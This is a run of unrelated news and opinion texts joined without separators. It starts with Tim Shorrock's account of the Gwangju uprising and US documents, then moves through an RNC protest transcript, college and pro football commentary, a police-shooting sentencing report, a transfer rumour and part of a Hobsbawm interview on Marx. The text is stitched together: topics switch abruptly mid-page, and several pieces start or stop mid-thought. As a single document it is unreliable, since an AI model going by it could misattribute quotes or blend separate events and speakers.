One of the Cherokee cables, dated May 8, 1980, showed that Gleysteen (seen in this video about my documents from South Korea’s MBC News) had told representatives of General Chun that the US government understood “the need to maintain law and order” and “would not obstruct development of military contingency plans” against what were massive but peaceful demonstrations. Others showed that, contrary to US denials, the Pentagon and the State Department were well aware that Korean Special Forces, trained to fight behind the lines in North Korea, were being deployed to Gwangju and other cities as planning for the May 18 coup proceeded.
In my view, the most damning document, obtained from the National Security Council, was the detailed minutes of a fateful White House meeting on May 22, 1980. During that meeting, which was led by Assistant Secretary of State Richard Holbrooke and National Security Adviser Zbigniew Brzezinski, Carter decided that the Gwangju uprising—despite the US knowledge that it had been sparked by the slaughter of unarmed civilian protesters—had to be crushed militarily. Five days after the meeting, South Korea’s crack 9th Army Division rolled into the city and killed the remaining rebels holed up in the provincial capital building.
During my visit to Gwangju, I learned how deeply my stories had affected the democratic movement. “Your stories completely changed our view,” Lee Jae-eui, one of the leaders of the uprising, told me one day as we walked through the cemetery where the victims of the uprising are buried.
Lee, who escaped from the city but was captured and jailed by the Korean military in the fall of 1980, is the co-author of the famous book Kwangju Diary: Beyond Death, Beyond the Darkness of the Age. This chronicle of the uprising circulated underground for years and became a bestseller before being published in South Korea after democracy was finally restored in 1987. “So many people were arrested for having that book,” he said.
The day I arrived in Gwangju, the May 18 Foundation sponsored a three-hour press conference, where I talked about the documents with participants in the uprising and academics who’d studied it. It was covered by major media organizations, including Hankyoreh, the only national newspaper not owned by a major business conglomerate, and MBC, the largest private television network in the country.
One of those attending, Song Hee-sung, was a leader of the women’s brigade during the uprising and is now a member of the South Cholla Provincial Assembly, her state’s legislative body. She was particularly interested in what my documents said about North Korea. That’s because right-wingers in the South are now trying to discredit the Gwangju uprising by saying it was actually led by 600 North Korean soldiers who infiltrated the city at the time.
My meeting with activists in Gwangju. Song Hee-sung, on the front-right, was a leader of the women’s brigade during the 1980 uprising (Credit: Tim Shorrock)
I responded that the documents stated quite clearly that the United States had observed no unusual troop movements by North Korea during the period leading up to and following the uprising. Similar observations were made at the time by US intelligence agencies. I explained that the Korean peninsula, then as now, is closely monitored by US electronic intelligence, including by U-2 spy planes and the National Security Agency, and that any military move by North Korea in 1980 would have been noted and widely publicized. The idea that 600 North Koreans were in Gwangju, I added, was ridiculous.
To my surprise, my comments were the headlines in the stories that appeared the next day (such as this story from UPI). For many reporters and editors, my analysis was a counterpoint to the interpretations of Gwangju by the South Korean right wing. Young Koreans, too, upset with the increasingly authoritarian tilt of President Park Geun-hye (the daughter of the longtime dictator Park Chung-hee), were drawn to the coverage. Later I was told that an interview with me in OhMyNews, a “citizen journalism” site with massive web traffic, had drawn over 4,000 “likes” on Facebook. Another story in Hankook Ilbo, a major daily, drew a similar audience.
Later, in Seoul, I met one of Lee’s co-author on the Diary, Dr. So Jun Seop, who is now a researcher at the National Assembly library. Dr. So, who was 22 during the uprising, spent five years underground before being arrested in 1985. “Until Gwangju, there was no anti-American movement in South Korea,” he told me. “But this incident ignited that sentiment. Before reading [the Diary], many students thought the United States was friendly. But they changed their mind after that.”
The fact that it was human-rights liberals like Holbrooke who managed US policy at the time intensified their anger—and mine as well. In a 1996 article in The Nation, I compared the late State Department official to Alden Pyle, the CIA do-gooder with the “wide campus gaze” who personified Cold War liberalism in Graham Greene’s great book about Vietnam, The Quiet American.
After my exuberant days in Gwangju, I traveled north to Seoul. I went there primarily to cover the women’s march across the DMZ organized by Gloria Steinem, the life-long feminist leader, and Christine Ahn, a Korean-American peace activist from Hawaii.
Upon my arrival at Seoul’s rail station, I was met by Cho Tae-guen, a senior aide to Park Won-suk, a member of the National Assembly (to my delight, Mr. Cho was holding a copy of my book Spies for Hire so I could identify him). He said his boss was interested in my articles on Gwangju and, in particular, a chapter I had written for a book about the uprising.
In 1999, an English version of Kwangju Diary was published by the University of California press, and included essays on the significance of Gwangju by myself and Bruce Cumings, the premiere US historian on the Korean War (and a longtime contributor to The Nation). My essay drew on the documents I’d obtained under FOIA, describing them as “the view from Washington.” Both the English and the Korean editions of the book are now out of print.
So Representative Park, a member of the Justice Party, decided to introduce a bill in the assembly to provide funds to publish a new edition; it has seven co-sponsors. On May 26, he invited me to a press conference at the National Assembly to announce the initiative and talk about the importance of getting the book back in print. That, too, was a very proud moment for me. Representative Park is a longtime democracy activist who previously helped run the People’s Solidarity for Participatory Democracy, a broad-based coalition based in Seoul.
I was also honored by the presence of Representative Kwon Eun-hee of the New Politics Alliance Party, South Korea’s most prominent whistleblower. In 2012, Ms. Kwon was a police officer in Seoul in charge of criminal investigations when she got a tip that the National Intelligence Service—the successor to the once-dreaded Korean CIA—was using social media to harass and terrorize citizens critical of the government. Kwon started an investigation that was eventually stifled by the chief of the police department. So she blew the whistle on the cover-up and went to the press. Her disclosures became a huge national story and rocked the government. But she was harassed and demoted and finally quit to run for office; today, she is called “the daughter of Gwangju” by her admirers.
Korean Army soldiers rounding up suspected insurgents after retaking Gwangju on May 27, 1980, with the approval of the US government. Courtesy of the May 18 Memorial Foundation.
Their joint statement focused on the necessity of awakening the public to the disclosures made in Kwangju Diary and its importance as a historical document.
Today, the Kwangju Democratization Movement is not only commemorated as a painful and tragic chapter of the country’s modern history, but also remembered as the watershed moment for its democracy. The Kwangju Democratization Movement went down as an inspiring moment for human freedom and dignity not only in Korea’s national history but also in the world’s. We, undersigned, are National Assembly members who have learned a grave lesson from the Kwangju Democratization Movement and who would like to be tribunes for the people and democracy…. The Kwangju Diary is a true, vivid record of the Kwangju Democratization Movement. And its English version, first published in 1999, became the must-read for anyone to understand the Korean democracy movement as it brought home the meaning of the Kwangju Democratization Movement and the nation’s democratization on an international scale. Yet, we only recently learned that Kwangju Diary has become out of print since 2005. It is disgraceful that the only historic English-language record documenting the Kwangju Democratization Movement has been out of print for almost a decade.
They went on to call on the central government and the city of Gwangju to take steps to ensure republication of the book, and promised to secure the “related institutions’ budget” to finance it. I followed with a statement that summarized my findings and explained my chagrin at the fact that my own country had helped destroy the Gwangju “Commune.”
This was a betrayal of the Korean people because the United States has always said publicly it’s here to defend South Korea against North Korea and to support democratic and human rights. But instead it made a decision to support the military security forces and to maintain what they said were US national security interests in Korea. And as an American citizen, I find this a very shameful thing.
Finally, I paid tribute to Representative Kwon as a whistleblower, and told her that in President Obama’s America whistleblowers are now an endangered species. She nodded in appreciation. Like my visit to Gwangju, the press conference was a great lesson in international solidarity.
My favorite part of the trip came at the end of the May 21 ceremony in Gwangju, when the crowd, joined by a well-known opera singer and a children’s choir, sang the city’s liberation anthem, “Marching for our Beloved.” Banned by the government during the 1980s, it has become the unofficial song of the South Korean democracy movement.
But in recent years, as the government and parts of society have moved to the right, the song has become controversial. Recently its chorus was banned because clips of it appeared in a North Korean movie about Gwangju. When the tune was played at this year’s official May 18 commemoration in Seoul, the government representatives sat stoically as the rest of the crowd stood in respect.
There was no such reluctance in Gwangju. Led by Mayor Yoon, the 3,000-person crowd loudly sang the anthem through every verse, their fists held high, as clips of the Gwangju citizens’ army filled the giant screen behind the stage. It was a beautiful moment that told me that revolutionary Gwangju is still alive, and the spirit of democracy and freedom more vibrant than ever.
Thank you everyone who picked up a copy of UNCANNY SKULLKICKERS #1. The feedback from retailers, readers and reviewers has been overwhelmingly positive. Here’s the word from the internet at large:
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Stevens received one write-in vote during Tuesday's New Hampshire primary, according to the full voting results posted by CBS Boston. Stevens earned his vote in the Republican primary that was won by Donald Trump.
That Stevens received a vote speaks to his growing celebrity in New England. The 39-year-old head coach is now in his third season and, after leading a rebuilding Celtics squad on a surprising second-half surge to the playoffs last year, Boston stands at 32-23 -- the third-best record in the Eastern Conference -- at the All-Star break this year.
Stevens is among Boston sports royalty in receiving votes in the New Hampshire primary. New England Patriots quarterback Tom Brady got three write-in votes, while coach Bill Belichick landed on one ballot.
Outside the U.S. borders that he may one day preside over, Stevens earned more noteworthy praise when San Antonio Spurs coach Gregg Popovich, who is coaching the Western Conference All-Stars this weekend in Toronto, gushed about Stevens during Friday's media access.
"First of all, truth be known, Brad looks like he's 18, and Butler basketball has been fantastic. Before he was even in the NBA, I would watch tapes of their games and look at some of the things that he did," Popovich said. "So, among basketball people, it was common knowledge that he was a heck of a coach. But to bring this young-looking guy into the NBA and say, 'OK, you're going to have to command the respect of these guys,' that took some courage on [Celtics president of basketball operations] Danny [Ainge's] part. And he did it, and it's turned out to be the right choice because Brad is one of the top coaches in the league.
"He's a clinician, he's a technician, he's detailed. He knows what he's doing with his demeanor, and how young he is, he's unbelievable the way he carries himself. He's truthful and straight up with players. And, in this league, that's the biggest thing they respect. That you're comfortable in your own skin. You don't try to trick them. You just tell it like it is, and he did that and gained their respect very quickly."
AMY GOODMAN: This is Democracy Now!, democracynow.org. We’re “Breaking with Convention: War, Peace and the Presidency,” broadcasting from Cleveland. Protests continue outside the RNC. On Wednesday, hundreds of people gathered to erect a “Wall Against Trump,” blocking the entrance to the convention center with a massive cloth banner painted like a wall.
PROTESTERS: No papers! No fear! No papers! No fear! No papers! No fear!
EVA CARDENAS: We are going to be walling off hate, xenophobia, and we’re going to continue our pledge to protect our communities from people in positions of power who do not look out for the benefit of all of us as a community. Today we are drawing a line in the sand to demand respect for our communities and to ask for folks that are stepping on the sidelines, not knowing what they should do, to come and join us and to start walling up hate in their communities, to start protecting their people, because we, as a community, know the solutions. No one else is going to do it for us. So this is a call to action, but also a message to Trump and anyone that feels like using xenophobia and hate as a means of power. That’s not the solution, and we’re going to be here and continue to fight.
SAM ALCOFF: Can you introduce yourself and the organization that you’re with?
RAMON MEJIA: My name is Ramon Mejia. I’m from Dallas, Texas. I’m with Iraq Veterans Against the War. I’m also one of the founding members of #VetsVersusHate, a national movement by veterans to oppose hateful rhetoric by the Republican Party or any politician, including Trump. I’m a son of immigrants. My parents came from Mexico. And so, the fact that you had Donald Trump saying that my father, who is an immigrant, or my other family members, who immigrated from Mexico, to say that they’re rapists or murderers or thieves is just not so. And I’m also here because I’m a Muslim. So, when Donald Trump is saying that they’re going to the deport or he’s going to ban the—you know, the travel of Muslims into the country, or we have Newt Gingrich, who’s saying that they’re going to deport any Muslim who believes in Sharia law—I believe in Sharia law. I’m a Muslim. I’m a Latino. And I’m here to support both my communities, that are being marginalized and attacked by Donald Trump and specific constituents, racist constituents, within the GOP party.
PROTESTERS: Wall off Trump! Wall off Trump!
LAURA VEIRA: My name is Laura Veira. We’re with United We Dream Action. But we’re here supporting the organization Mijente and their action today. We were already here for the Republican convention as part of our own organization, so we were here at our own marching two days ago. So, just here, we’re fighting for the same thing. All of our communities—communities of color, the LGBTQ community—we all want to stand together, united against hate, that has been fired by like Donald Trump.
SAM ALCOFF: Trump has tried to make it sound like his rhetoric is simply protecting the borders, it’s just what a nation needs. What are the—what is the impact of the language that he’s been using this campaign on the immigrant community?
LAURA VEIRA: Well, on our community, it criminalizes most of us. So there are people who even claim to be on our side, who claim to be pro-immigration, but will use like the hashtags, for example, Obama has used—felons—or, #FamiliesBeforeFelons. But that essentially criminalizes our whole community. So, it’s—what is the definition of “criminals”? It can be—we can just be seen as criminals by being here or by maybe driving without a license, which is not enough—like a good enough reason for them to feel that way. I am undocumented, so I have been viewed as a criminal, technically, in the eyes of probably most of the Republican Party. So, yeah, I came here when I was three years old. And that’s not enough—like, I didn’t make the decision to come here, so it’s kind of crazy to think of three-year-olds as criminals.
SAM ALCOFF: Now that Trump’s wall proposal has been integrated into the Republican Party platform, do you think that Trump’s rhetoric about the wall has become mainstream?
LAURA VEIRA: Yeah, it’s one of the main things that people associate with him, so a lot of people will be able—it’s a huge thing that they can just chant, like “build a wall” to keep all of the “illegals” out, as they refer to us. But yeah, it’s just—it represents his whole, like, immigration policy, which people have not taken into account how much that would cost. And by actually deporting all 11 million of us and building that wall, it would cost the country so much money, and we would eventually go into debt.
PROTESTERS: Wall off Trump! Wall off Trump!
TOMÁS MARTÍNEZ: [translated] My name is Tomás Martínez. I come from southern Georgia, from an organization that is called GLAHR, with the bigger organization Mijente. We are here with this wall to block the wall Trump wants to build in the border. We prefer that the wall stays here as this virtual wall, as this wall of love. We don’t want him to build a wall on the border with Mexico. The message of Donald Trump has created fear in our community, that already has been very well impacted from President Barack Obama’s deportations policy. Now, with this threat that he is going to create hate and by saying that he will kick us all out, there is fear in our communities. That is why we believe that this is the right moment to come here and protest and to confine the hate with this wall, so that the hate Donald Trump has been wanting to disseminate won’t reach to our houses and our communities. Donald wants to build a wall, so we have brought this wall.
PROTESTERS: Wall off Trump! Wall off Trump! Wall off Trump! Wall off Trump! Wall off Trump! Wall off Trump!
JOHN SELLERS: John Sellers with The Other 98 and Ruckus Society. We’re at the front door of Trump’s convention here in Cleveland, Ohio, and there are a number of immigrants, documented and undocumented, that are walling off Trump right now, as we speak. They built a wall to wall out hate and wall off Trump. He wants a wall. We’re bringing it to him. And look, Mexican folks are bringing it to him, and Mexican folks helped pay for this wall. We had an Indiegogo that raised $15,000, and lots of Mexican people in Mexico contributed to it.
SAM ALCOFF: So, we’re at the corner of East Fourth Street and Prospect Ave., where immigrant activists from around the country have successfully built a wall against Trump at one of the main entrances to the Republican National Convention. This is Sam Alcoff, with John Hamilton, for Democracy Now!
28-11 overall
14-10 in the SEC
3-9 as an underdog
35.33 average ranking in offensive S&P+
91.66 average ranking in passing offense
This is what mediocrity looks like. LSU is heading for even worse seasons in the near future, if the predictive trends are any indication. That a vocal contingent of the fanbase stormed to Miles' support really means nothing when it comes to results on the football field. Yes, Les Miles will be the head coach of the football team next season, but more poor results are surely on the way.
In fact, if Les insists on running his tired old 1940's football plays, the recruiting well will dry up as players jump to play in more exciting brand of offenses at schools like Auburn, Texas A&M and Oregon. Recruits like Feleipe Franks are already bailing on what is obviously a sinking ship.
Some people are circling next season as the year LSU makes a run at the gold, but with QBs Jordan Jefferson and Jarrett Lee returning, I don't really see it in the cards for this LSU team.
Wait, I seem to have misplaced my notes here.
Just a second.
It appears all of these stats are actually from 2008-2010 seasons. The three that preceded what wound up being the best team not just in Les Miles' tenure, but in LSU history, national title game be damned.
Look the comparison isn't direct here. 2008-2010, LSU did go 8-5, 9-4 and 11-2. There was an upward trajectory of success, while the latest three year span 10-3, 8-5 and now 8-3 (pending a bowl with a canceled game that would have been another W). But the similarities are too damned many to ignore. If LSU wins their bowl game, this should have been yet another 10-win campaign for Miles. This team is clearly better than the 2014 offering, even if there are still issues. People can throw out buzzwords like "decline" and "regression" all day long, however lacking they may be in facts.
The party line of people has been to cite this article from Jeff Duncan and Ron Higgins. Specifically, they cite this piece of data:
Since and including the 2011 BCS championship game, Miles is 0-for-10 in games as an underdog. Yet, in that span, his teams have managed to lose six games in which they were favored. This year it was Arkansas.
Wow, that's a pretty searing indictment of Miles' coaching. Except that it's both factually incorrect and intellectually dishonest. This took three minutes of googling to figure out.
Firstly, since 2011, LSU is 3-9 as an underdog. Duncan's quoted numbers are plainly incorrect and you can read it right here. So, he's lying to stoke the flames of some bullshit opinion piece. Normally, I can gloss over this type of shoddy work, except when a large segment of our fanbase is latching on to this false data to support their ungrounded opinions, it becomes a problem.
Secondly, Duncan is correct that LSU has lost 6 games as a favorite since 2011. At least we crossed that hurdle. The problem? Well, Duncan fails to put this data into any meaningful context. He drops it out of they sky, like an atom bomb indictment of poor coaching. Let's couch the data for him, shall we? Miles ranks 10th nationally in winning % as a favorite. 10th. Since 2011, Florida State has lost 5 games as a favorite. Alabama has lost 7. Ohio State has lost 7. Oregon has lost 9. There are only five P5 schools that rank ahead of LSU in winning % as a favorite: Clemson, Florida State, Mississippi State, Alabama, Kansas State.
Let's address the obvious point here: LSU is a favorite in almost every game they play. Naturally, when they lose, it will almost always come to an underdog. The same is true for FSU and Alabama. Not only does Les win as a favorite 88.5% of the time, he does it more than almost anyone in college football.
Has LSU been in "decline" since the loss to Alabama in the 2012 BCS National Championship game? How do you define decline? If your definition of decline is "we are worse than we were in 2011" then every single season of LSU football in history would be defined as a "decline" next to that season. If you're citing a downward sloping trend, well, the actual mathematics ruins that for you. Three losses to five losses to back up to either three or four losses aren't exactly smooth data points. Oh, but Les simply isn't the man to fix the issues with the program? When you said that in 2010, did you believe it just as earnestly? If you're continuing to hitch your ride on fantasy scenarios to sell your viewpoint, there's probably no helping you, at this point.
Still, there are various and reasonable issues to address. There's really no need to go about inventing new ones just to toss gasoline on your flaming hot #taek. LSU needs new coordinators at all three levels: offense, defense, special teams. QB recruiting and development is still the most glaring weakness in Miles' tenure. His coordinator hires have been heavily disappointing, largely.
Speaking of, you know, the most common similarity between the 2008-2010 LSU teams and the 2013-2015 ones? Being forced into playing young QBs too early. In both 2014 and again in 2015, LSU threw two true sophomores to the wolves with National Title hopes. Predictably, both were chewed alive. No, LSU isn't in decline. They are just maturing before a national audience.
Around 1:01, the main Pikachu in the center starts deflating, prompting staff members to rush in and drag him away like he was going straight to pokémon jail. In the absolute best timing possible, Pikachu’s head starts melting right as Nikki Blonsky sings, “And you can try to stop my dancing feet” and the organizers were like, “Okay.”
The other Pikachu performers dance on, presumably shivering inside their costumes now that they know what becomes of them if they make one wrong move. And then at 4:35, the deflated Pikachu attempts to make a comeback, but it just isn’t meant to be.
Liang was immediately fired after the highly unusual conviction of a cop for the shooting death of a civilian. He faces a prison term of up to 15 years at sentencing next month.
But Brooklyn District Attorney Ken Thompson has recommended a sentence of five years of probation, including six months of home confinement with electronic monitoring and 500 hours of community service.
"Mr. Liang has no prior criminal history and poses no future threat to public safety," Thompson said in a statement Wednesday. "Because his incarceration is not necessary to protect the public, and due to the unique circumstances of this case, a prison sentence is not warranted."
Akai Gurley, who was unarmed, was killed by Liang in 2014.
Gurley's aunt, Hertencia Petersen, said his family was outraged.
"This is an added injustice done to Akai and our family and a failure on the part of the D.A. to value black lives," she told reporters.
Petersen accused Thompson of reneging on an electoral promise to "not allow officers to act as if they are above the law" and said the recommendation sent "a message that officers can continue to kill black New Yorkers without consequences."
Sherrilyn Ifill, president and director-counsel of the NAACP's Legal Defense and Education Fund, said in a statement that Thompson's decision "reinforces the sense that there are two justice systems -- one for the police and one for civilians -- where police officers, even when convicted of taking the life of an innocent person, can trust that prosecutors will not recommend that the officer serve time in jail."
Liang, with 18 months on the job, was on patrol in the dark stairwell of a Brooklyn housing project in November 2014 when he fired his gun. The bullet ricocheted off a wall and struck Gurley in the chest. The victim died at a hospital.
Defense lawyers called the shooting a tragedy, not a crime. Prosecutors argued that Liang was reckless and was more concerned about his story than helping Gurley.
"There is no evidence ... that he intended to kill or injure Akai Gurley," Thompson said in the statement. "When Mr. Liang went into that building that night, he did so as part of his job and to keep the people of Brooklyn and our city safe."
JUST WATCHED Police: Cop fatally shot 'innocent' man Replay More Videos ... MUST WATCH Police: Cop fatally shot 'innocent' man 01:28
Thousands rallied in cities across the nation last month in support of Liang, calling the shooting a tragic accident.
A group calling itself the Coalition of Justice for Liang staged rallies from Boston to Los Angeles, with supporters claiming the officer was subjected to "selective prosecution."
The 23-year-old Kane has scored twice this season and won the Golden Boot accolade last season, after racking up a total of 25 goals in the Premier League, one more than Leicester star Jamie Vardy.
The Sunday Express reports that Tottenham are offering a new contract worth €120,000 per week to Kane, for whom Milan are willing to spend around €85 million, with Chinese investors now in charge of the club.
Turns out what they built was a flawed team that has the worst division record in the league (0-4) and has been outscored 137-52 against AFC East opponents.
And there’s this: According to Stats Inc., Sunday’s Dolphins game marked the first time in NFL history that a team allowed two players (LeSean McCoy, Karlos Williams) to run for more than 100 yards and a receiver (Sammy Watkins) to catch passes for more than 150 yards in the same game.
The Dolphins (3-5) privately worried about their situation at linebacker, guard and cornerback during the offseason, but there were still several areas they figured would be strengths and have not been. A look at what the Dolphins thought would work in their favor but actually hasn’t:
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▪ Run defense: After being gashed on the ground over the final six weeks last season, the Dolphins figured Ndamukong Suh would be the panacea.
Instead, the team’s run defense is worse, though the supporting cast around Suh shoulders far more of the blame than Suh.
Last season, the Dolphins allowed 121 rushing yards per game, ranking 24th of the 32 NFL teams. This season, they’re relinquishing 142 per game after being plastered for 266 on Sunday. Only the Cleveland Browns have allowed more rushing yards per game than Miami (147.6).
Guard Richie Incognito said the Bills kept using the same running plays, with guards pulling to block linebackers, and it kept working. So why couldn’t the Dolphins stop it?
“Just guys getting blocked,” linebacker Koa Misi said Monday. “They gashed us. It’s unacceptable.”
Suh said the Bills “took the interior guys out, even sometimes our ends. We have to find ways to combat that.”
And interim coach Dan Campbell said Monday that “on a number of plays, we had a number of players in position to make plays that they need to make.”
SHARE COPY LINK Miami Herald reporter Adam Beasley delivers the postgame report following the Dolphins' 33-17 loss to the Bills in Orchard Park, N.Y. Video by Al Diaz / Miami Herald Staff
▪ Scoring: The Dolphins presumed that their point production would rise because of anticipated improvement from Ryan Tannehill, the overall comfort level increasing in the second year under the direction of coordinator Bill Lazor, left tackle Branden Albert’s return to health and the addition of three well-regarded weapons (DeVante Parker, Kenny Stills and Jordan Cameron).
Instead, the Dolphins’ point production has dropped from 24.3 per game last season (11th in the league) to 21.4 (which ranks 21st). “Anywhere 25, 28 at a minimum is what you would like to get to offensively,” Campbell said.
Tannehill’s passer rating is down, from 92.8 last season to 88.7, and he’s on pace for 18 interceptions, compared with 12 last season. He also has been sacked 23 times, tied for seventh-most in the league.
And the Dolphins’ new weapons haven’t made the impact many expected. Stills has had some good moments, including a 46-yard reception Sunday, but his 16 catches for 279 yards are well below his pace from last season, when he caught 63 for 931 for New Orleans and had substantially more opportunities.
Cameron, who ranked among the NFL’s tight end leaders with 80 catches for 917 yards with Cleveland in 2013, is on pace for 40 catches and 526 yards and was targeted only once Sunday (a 5-yard reception).
And Parker, the team’s first-round draft pick, has played only 110 snaps all season, with four catches for 49 yards.
▪ Performance against quarterbacks well below the top tier: The Dolphins believed they would fare well against a string of inexperienced or journeymen quarterbacks to start the season.
In their first eight games, Miami faced seven of those in Kirk Cousins, Blake Bortles, Tyrod Taylor twice, Ryan Fitzpatrick, Brian Hoyer and Marcus Mariota. They faced only one elite quarterback (Tom Brady).
And yet Miami is allowing a 97.1 passer rating — 22nd in the league, compared with 89.7 last season (18th).
Opposing quarterbacks have 16 touchdowns and just six interceptions against the Dolphins, and Taylor (who has a career 97.1 rating) has a 145.7 rating with four touchdowns and 458 yards (on 32-for-41 passing) in two games against Miami. Bortles, who has a career 74.9 passer rating, had a 102.2 in Jacksonville’s win against the Dolphins.
Several reasons: None of Miami’s cornerbacks have been close to elite; Brent Grimes, toasted by Watkins on Sunday, has slipped to 36th in Pro Football Focus’ cornerback rankings. Linebackers have been shaky in coverage and the Dolphins have missed safety Louis Delmas, who is out for the year with an ACL injury.
And this is worrisome: Over the final eight games, the Dolphins face top 10 quarterbacks in Brady, Tony Romo (projected to return that Nov. 22 game from a clavicle injury) and Phillip Rivers; Super Bowl winners in Brady, Eli Manning and Joe Flacco; and No. 1 overall draft picks (Sam Bradford, Manning, Andrew Luck).
▪ Lack of consistent pass rush: This, along with shoddy run defense, is most confounding about the Dolphins’ season. Their 16 sacks are tied for 20th; they’re on pace for 32, behind last year’s total of 39, despite adding Suh, who has more sacks than any defensive tackle since 2010 but three this season.
NOTES
September, 16 2008 -- Eric Hobsbawm is considered one of the greatest living historians. He is president of Birkbeck College, London, and professor emeritus at the New School for Social Research. Among his many writings are the trilogy about the "the long 19th century": The Age of Revolution: Europe 1789-1848 (1962); The Age of Capital: 1848-1874 (1975); The Age of Empire: 1875-1914 (1987), and the book The Age of Extremes: The Short Twentieth Century, 1914-1991 (1994). Marcello Musto is editor of Karl Marx's Grundrisse: Foundations of the Critique of Political Economy, London-New York: Routledge 2008.
M. M. Professor Hobsbawm, two decades after 1989, when he was too hastily consigned to oblivion, Karl Marx has returned to the limelight. Freed from the role of instrumentum regni to which he was assigned in the Soviet Union, and from the shackles of ``Marxism-Leninism'', he has in the last few years not only received intellectual attention through new publication of his work, but also been the focus of more widespread interest. Indeed in 2003, the French magazine Nouvel Observateur dedicated a special issue to Karl Marx -- le penseur du troisième millénaire? (Karl Marx -- the thinker of the third millennium?). A year later, in Germany, in an opinion poll sponsored by the television company ZDF to establish who were the most important Germans of all time, more than 500,000 viewers voted for Marx; he came third in the general classification and first in the ``current relevance'' category. Then, in 2005, the weekly Der Spiegel portrayed him on the cover under the title ``Ein Gespenst kehrt zurück'' (A spectre is back), while listeners to the BBC Radio 4 program In Our Time voted for Marx as their ``greatest philosopher''
In a recent public conversation with Jacques Attalì, you said that paradoxically "it is the capitalists more than others who have been rediscovering Marx", and you talked of your astonishment when the businessman and liberal politician George Soros said to you "I've just been reading Marx and there is an awful lot in what he says." Although weak and rather vague, what are the reasons for this revival? Is his work likely to be of interest only to specialists and intellectuals, being presented in university courses as a great classic of modern thought that should never be forgotten? Or could a new "demand for Marx" come in the future from the political side as well?
E. H. There is an undoubted revival of public interest in Marx in the capitalist world, though probably not as yet in the new East European members of the European Union. It was probably accelerated by the fact that the 150th anniversary of the publication of the Manifesto of the Communist Party coincided with a particularly dramatic international economic crisis in the midst of a period of ultra-rapid free market globalisation.
Marx had predicted the nature of the early 21st century world economy a hundred and fifty years earlier, on the basis of his analysis of "bourgeois society". It is not surprising that intelligent capitalists, especially in the globalised financial sector, were impressed by Marx, since they were necessarily more aware than others of the nature and instabilities of the capitalist economy in which they operated. Most of the intellectual left no longer knew what to do with Marx. It had been demoralised by the collapse of the social-democratic project in most North Atlantic states in the 1980s and the mass conversion of national governments to free market ideology, as well as by the collapse of the political and economic systems that claimed to be inspired by Marx and Lenin. The so-called "new social movements" like feminism either had no logical connection with anti-capitalism (though as individuals their members might be aligned with it) or they challenged the belief in endless progress in human control over nature, which both capitalism and traditional socialism had shared. At the same time the "proletariat", divided and diminished, ceased to be credible as Marx's historical agent of social transformation. It is also the case that since 1968 the most prominent radical movements have preferred direct action not necessarily based on much reading and theoretical analysis.
Of course this does not mean that Marx will cease to be regarded as a great and classical thinker, although for political reasons, especially in countries like France and Italy with once powerful Communist parties, there has been a passionate intellectual offensive against Marx and Marxist analyses, which was probably at its height in the 1980s and 1990s. There are signs that it has now run its course.
M. M. Throughout his life Marx was a shrewd and tireless researcher, who sensed and analysed better than anyone else in his time the development of capitalism on a world scale. He understood that the birth of a globalised international economy was inherent in the capitalist mode of production and predicted that this process would generate not only the growth and prosperity flaunted by liberal theorists and politicians but also violent conflicts, economic crises and widespread social injustice. In the last decade we have seen the East Asian financial crisis, which started in the summer of 1997, the Argentinian economic crisis of 1999-2002 and, above all, the subprime mortgage crisis, which started in the United States in 2006 and has now become the biggest post-war financial crisis. Is it right to say, therefore, that the return of interest in Marx is also based on the crisis of capitalist society and on his enduring capacity to explain the profound contradictions of today's world?
E. H. Whether the future politics of the left will once again be inspired by Marx's analysis, as the old socialist and communist movements were, will depend on what happens to world capitalism. But this applies not only to Marx but to the left as a coherent political ideology and project. Since, as you say correctly, the return of interest in Marx is largely -- I would say mainly -- based on the current crisis of capitalist society, the outlook is more promising than it was in the 1990s.
The present world financial crisis, which may well become a major economic depression in the USA , dramatises the failure of the theology of the uncontrolled global free market, and forces even the US government to consider taking public actions forgotten since the 1930s. Political pressures are already weakening the commitment of economic neoliberal governments to uncontrolled, unlimited and unregulated globalisation. In some cases ( China ) the vast inequalities and injustices caused by a wholesale transition to a free market economy already raise major problems for social stability and raise doubts even at the higher levels of government.
It is clear that any "return to Marx" will be essentially a return to Marx's analysis of capitalism and its place in the historical evolution of humanity -- including, above all, his analysis of the central instability of capitalist development, which proceeds through self-generated periodic economic crises, with political and social dimensions. No Marxist could believe for a moment that, as neoliberal ideologists argued in 1989, liberal capitalism had established itself forever, that history had come to an end, or indeed that any system of human relations could ever be final and definitive.
M. M. Do you not think that if the political and intellectual forces of the international left, who are questioning themselves with regard to socialism in the new century, were to foreswear the ideas of Marx, they would lose a fundamental guide for the examination and transformation of today's reality?
E. H. No socialist can foreswear the ideas of Marx, since his belief that capitalism must be succeeded by another form of society is based not on hope or will but on a serious analysis of historical development, particularly in the capitalist era. His actual prediction that capitalism would be replaced by a socially managed or planned system still seems reasonable, though he certainly underestimated the market elements which would survive in any post-capitalist system(s).
Since he deliberately abstained from speculation about the future, he cannot be made responsible for the specific ways in which "socialist" economies were organised under "really existing socialism". As to the objectives of socialism, Marx was not the only thinker who wanted a society without exploitation and alienation, in which all human beings could fully realise their potentialities, but he expressed this aspiration more powerfully than anyone else, and his words retain the power to inspire.
However, Marx will not return as a political inspiration to the left until it is understood that his writings should not be treated as political programs, authoritative or otherwise, nor as descriptions of the actual situation of world capitalism today, but rather as guides to his way of understanding the nature of capitalist development. Nor can or should we forget that he did not achieve a coherent and fully thought out presentation of his ideas, in spite of attempts by Engels and others to construct a volume II and III of Capital out of Marx's manuscripts. As the Grundrisse show, even a completed Capital would have formed only part of Marx's own, perhaps excessively ambitious, original plan.
On the other hand, Marx will not return to the left until the current tendency among radical activists to turn anti-capitalism into anti-globalism is abandoned. Globalisation exists, and, short of a collapse of human society, is irreversible. Indeed, Marx recognised it as a fact and, as an internationalist, welcomed it, in principle. What he criticised, and what we must criticise, was the kind of globalisation produced by capitalism.
M. M. One of Marx's writings which has provoked the greatest interest amongst new readers and commentators is the Grundrisse. Written between 1857 and 1858, the Grundrisse is the first draft of Marx's critique of political economy and, thus, also the initial preparatory work on Capital; it contains numerous reflections on matters that Marx did not develop elsewhere in his incomplete oeuvre. Why, in your opinion, are these manuscripts one of Marx's writings which continue to provoke more debate than any other, in spite of the fact that he wrote them only to summarise the foundations of his critique of political economy? What is the reason for their persistent appeal?
